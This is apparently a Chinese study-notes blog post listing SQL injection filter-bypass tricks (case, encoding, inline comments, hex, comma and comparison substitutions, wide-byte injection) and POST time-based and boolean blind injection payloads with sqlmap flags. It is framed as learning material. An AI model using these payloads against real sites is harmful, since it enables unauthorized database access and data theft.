END的学习 SQL注入绕过 and POST基于时间和布尔的盲注

SQL注入绕过

1,大小写绕过

2,双写绕过

3,编码绕过
可以使用URL编码,ASCII,HEX,unicode编码绕过

4,内联注释绕过

/*!内容*/

5,绕过空格(注释符/ /,%a0)
两个空格代替一个空格,用Tab代替空格,%a0=空格,注释替换空格.

括号绕过空格
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

select(user())from dual where(1=1)and(2=2)

6,引号绕过(使用十六进制)

select column_name  from information_schema.tables where table_name="users"//这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。

users的十六进制的字符串是7573657273。

select column_name  from information_schema.tables where table_name=0x7573657273

7,逗号绕过(使用from或者offset)

使用join:
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b

使用like:
select ascii(mid(user(),1,1))=80 #等价于
select user() like ‘r%’

对于limit可以使用offset来绕过:
select * from news limit 0,1
select * from news limit 1 offset 0

8,比较符号(<>)绕过

(过滤了<>:sqlmap盲注经常使用<>,使用greatest()、least():(前者返回最大值,后者返回最小值))

select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

9.绕过union,select,where等

(1)使用注释符绕过:
U// NION // SE// LECT //user,pwd from user

(2)使用大小写绕过:

(3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)

10.宽字节注入

修复:
character_set_client='binary’设置为binary(二进制),只需要在所有的sql语句前指定一下连接的形式为二进制:mysql_query(“SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary”, $conn);,当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将换成character_set_connection的编码,然后在进入具体表和字段后,再转换成字段对应的编码,然后当查询结果产生后,会从表和字段编码,转换成character_set_results编码,返回给客户端。

POST基于时间和布尔的盲注

1.HTTP POST介绍

POST发送数据到服务器中,请求服务器处理(表单数据提交、文件上传)
POST可能会创建新的资源或者修改现有资源

2.POST基于时间的盲注

在存在注入点POST提交的参数后加and if(length(database())>5,sleep(5),null)
如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行

uname=admin and &passwd=123&submit=Submit
uname=admin and (select(if(length(database())>5,sleep(5),null)))--+&passwd=123&submit=Submit

3.POST基于布尔的盲注
在这里插入图片描述4、Sqlmap安全测试

测试方法与前面类似

–technique -T 时间盲注

试方法与前面类似

–technique -T 时间盲注

–technique -B 布尔盲注

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值